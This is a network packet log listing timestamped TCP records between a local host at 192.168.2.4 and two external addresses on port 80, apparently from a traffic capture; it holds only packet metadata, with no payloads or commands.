Apr 23, 2024 09:38:13.666450024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.666450024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.666450024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.666450024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.666450024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.667957067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.667994976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668031931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668040037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668068886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668070078 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668081999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668116093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668122053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668158054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668159962 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668194056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668205976 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668231010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668232918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668266058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668275118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668301105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668308973 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668335915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668343067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668371916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668379068 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668406963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668415070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668442965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668452024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668481112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668484926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668515921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668524027 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668551922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668559074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668593884 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668608904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668644905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668653965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668679953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668687105 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668715954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668723106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668751001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668759108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668787003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668792963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668823004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668828964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668859005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668884993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668904066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668906927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668942928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668946028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.668978930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.668984890 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669015884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669022083 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669053078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669060946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669087887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669095993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669126034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669148922 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669161081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669169903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669197083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669204950 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669234037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669239998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669269085 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669275999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669303894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669320107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669339895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669346094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669375896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669380903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669411898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669418097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669447899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669456005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669483900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669496059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669518948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669524908 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669553995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669564009 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669590950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669595957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669626951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669634104 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669661999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669668913 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669698954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669704914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669734001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669742107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669769049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669775963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669805050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669831991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669842005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669852018 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669878006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669883966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669914961 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669922113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669950008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669959068 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.669986010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.669991970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670022011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670028925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670056105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670082092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670090914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670092106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670128107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670137882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670162916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670173883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670198917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670211077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670234919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670242071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670269966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670277119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670305967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670312881 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670341015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670348883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670376062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670392990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670412064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670418978 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670447111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670454025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670481920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670490980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670516968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670523882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670552015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670572042 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670587063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670589924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670623064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670629978 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670658112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670665026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670692921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670701027 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670728922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670763969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670770884 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670794010 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670800924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670816898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670836926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670846939 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670871973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670886993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670912981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670914888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670948029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670957088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.670984983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.670991898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671020985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671027899 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671056032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671066999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671092033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671101093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671127081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671139956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671163082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671171904 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671197891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671205044 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671233892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671240091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671268940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671286106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671303988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671308994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671339035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671346903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671374083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671386003 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671408892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671412945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671447039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671459913 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671483040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671489954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671519995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671525955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671556950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671562910 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671593904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671597958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671628952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671642065 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671664953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671686888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671700001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671703100 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671736002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671745062 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671771049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671777964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671806097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671813011 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671840906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671847105 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671876907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671883106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671912909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671921015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671948910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671956062 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.671984911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.671993017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672019958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672028065 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672055960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672064066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672113895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672125101 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672161102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672169924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672197104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672205925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672235012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672235966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672270060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672281981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672307014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672316074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672343969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672353029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672379971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672389984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672415018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672425985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672451019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672460079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672487974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672494888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672523022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672533989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672559023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672566891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672595024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672597885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672632933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672665119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672667980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672687054 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672703981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672717094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672739983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672753096 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672775984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672785997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672811985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672818899 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672847033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672858000 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672883987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672892094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672920942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672930956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672956944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.672962904 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.672993898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673003912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673031092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673039913 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673068047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673075914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673105001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673111916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673141003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673147917 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673176050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673182011 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673211098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673219919 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673247099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673257113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673283100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673290968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673317909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673327923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673355103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673365116 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673391104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673401117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673427105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673437119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673463106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673468113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673500061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673505068 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673536062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673543930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673572063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673593044 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673607111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673610926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673643112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673651934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673680067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673688889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673716068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673723936 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673752069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673754930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673788071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673793077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673823118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673830032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673857927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673867941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673893929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673898935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673929930 CEST	80	49735	185.172.128.228	192.168.2.4
